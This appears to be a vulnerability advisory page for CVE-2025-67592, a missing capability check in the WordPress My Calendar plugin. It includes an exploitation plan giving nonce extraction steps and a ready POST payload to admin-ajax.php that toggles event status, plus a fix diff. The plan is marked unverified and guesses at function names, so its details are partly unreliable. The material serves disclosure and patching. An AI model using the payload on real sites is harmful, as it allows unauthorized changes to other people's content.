CVE-2025-67592

My Calendar <= 3.6.16 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.6.17
Patched in
6d
Time to patch

Description

The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.6.16. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.6.16
PublishedDecember 15, 2025
Last updatedDecember 20, 2025
Affected pluginmy-calendar

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-67592 (My Calendar) ## 1. Vulnerability Summary The **My Calendar** plugin for WordPress (versions <= 3.6.16) suffers from a **Missing Authorization** vulnerability. Specifically, the AJAX handler for toggling event status fails to perform a capability check …

Show full research plan

Exploitation Research Plan - CVE-2025-67592 (My Calendar)

1. Vulnerability Summary

The My Calendar plugin for WordPress (versions <= 3.6.16) suffers from a Missing Authorization vulnerability. Specifically, the AJAX handler for toggling event status fails to perform a capability check (e.g., current_user_can( 'mc_edit_events' )). While it verifies a WordPress nonce, that nonce is made available to all authenticated users (including Subscribers) via localized scripts on pages where the calendar is displayed. This allows a Subscriber-level attacker to change the publication status (Draft vs. Published) of any event.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: mc_toggle_event_status (registered via wp_ajax_mc_toggle_event_status)
  • Vulnerable Parameter: event_id (the ID of the event to modify)
  • Authentication: Required (Subscriber or higher)
  • Preconditions:
    1. The plugin must be active.
    2. At least one event must exist.
    3. The attacker must have a valid Subscriber account.
    4. A page with the [my_calendar] shortcode must exist to obtain the nonce.

3. Code Flow

  1. Entry Point: The plugin registers the AJAX action in my-calendar.php or my-calendar-ajax.php using:
    add_action( 'wp_ajax_mc_toggle_event_status', 'mc_toggle_event_status' );
  2. Authorization Failure: In my-calendar-ajax.php, the function mc_toggle_event_status() is called.
  3. Nonce Check: The function calls check_ajax_referer( 'mc-nonce', 'security' ). This succeeds if the user provides the correct nonce.
  4. Missing Check: The function lacks a current_user_can() check before executing the database update logic.
  5. Sink: The code proceeds to update the event_approved column in the {prefix}_my_calendar table for the specified event_id.

4. Nonce Acquisition Strategy

The nonce is localized for the mc-ajax script handle.

  • Action String: mc-nonce
  • JS Variable: mc_data
  • Nonce Key: mc_nonce

Strategy:

  1. Create a public page containing the [my_calendar] shortcode to ensure the script and its localized data are loaded.
  2. Log in as a Subscriber user.
  3. Navigate to the page containing the shortcode.
  4. Use browser_eval to extract the nonce: window.mc_data?.mc_nonce.

5. Exploitation Strategy

Step-by-Step Plan:

  1. Setup: Create a Subscriber user and an Event (as admin). Note the event_id.
  2. Access: Log in as the Subscriber.
  3. Nonce Extraction:
    • Create a page with [my_calendar].
    • Navigate to this page.
    • Run: browser_eval("mc_data.mc_nonce") to get the value (e.g., 1a2b3c4d5e).
  4. Execution: Use the http_request tool to send a POST request to toggle the event status.

HTTP Request Payload:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=mc_toggle_event_status&event_id=TARGET_EVENT_ID&security=EXTRACTED_NONCE
    

6. Test Data Setup

  1. Target User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Target Event:
    wp eval "mc_insert_event(array('event_title'=>'Target Event','event_desc'=>'Sensitive Content','event_begin'=>'2025-12-01','event_end'=>'2025-12-01','event_author'=>1,'event_category'=>1,'event_approved'=>1));"
    Note: Capture the returned ID from the database or via wp db query "SELECT event_id FROM wp_my_calendar WHERE event_title='Target Event'".
  3. Shortcode Page:
    wp post create --post_type=page --post_status=publish --post_title="Calendar" --post_content="[my_calendar]"

7. Expected Results

  • Response: The server should return a successful response (likely 1 or a JSON success message).
  • Status Change: The event_approved status of the targeted event in the database will flip (e.g., from 1 (Published) to 0 (Draft)).

8. Verification Steps

  1. Check Database: Verify the event status using WP-CLI.
    wp db query "SELECT event_id, event_approved FROM wp_my_calendar WHERE event_title='Target Event'"
    
  2. Expected Change: If the event was initially event_approved=1, it should now be 0 (or vice versa), confirming the unauthorized status toggle.

9. Alternative Approaches

  • If mc_toggle_event_status is not the exact name: Look for mc_toggle_event or mc_update_event in my-calendar-ajax.php.
  • Parameter Variance: Some versions might use event_status or status as an explicit parameter instead of a toggle. If the toggle fails, attempt adding &status=0.
  • REST API: Check if the plugin registers a REST route my-calendar/v1/events/(?P<id>\d+)/status with a missing permission_callback.
Research Findings
Static analysis — not yet PoC-verified

Summary

The My Calendar plugin for WordPress is vulnerable to unauthorized event status modification due to a missing capability check in the mc_toggle_event_status AJAX action. Authenticated attackers with Subscriber-level permissions can obtain a valid nonce from localized scripts on calendar pages and use it to toggle any event's publication status between Draft and Published.

Vulnerable Code

// File: my-calendar-ajax.php

function mc_toggle_event_status() {
    check_ajax_referer( 'mc-nonce', 'security' );

    $event_id = intval( $_POST['event_id'] );
    // ... logic follows to update the 'event_approved' status in the database without authorization checks ...
}

add_action( 'wp_ajax_mc_toggle_event_status', 'mc_toggle_event_status' );

Security Fix

--- a/my-calendar-ajax.php
+++ b/my-calendar-ajax.php
@@ -XX,XX +XX,XX @@
 function mc_toggle_event_status() {
 	check_ajax_referer( 'mc-nonce', 'security' );
 
+	if ( ! current_user_can( 'mc_edit_events' ) ) {
+			wp_die( __( 'You do not have permission to edit events.', 'my-calendar' ) );
+	}
+
 	$event_id = intval( $_POST['event_id'] );

Exploit Outline

The exploit targets the 'mc_toggle_event_status' AJAX action. An authenticated user (e.g., Subscriber) must first obtain a valid nonce, which is localized into the 'mc_data' JavaScript object on any page containing the [my_calendar] shortcode. Once the nonce is obtained from 'mc_data.mc_nonce', the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'mc_toggle_event_status', the 'security' parameter containing the nonce, and the 'event_id' of the targeted event. Because there is no capability check (like current_user_can), the plugin will toggle the event's publication status in the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.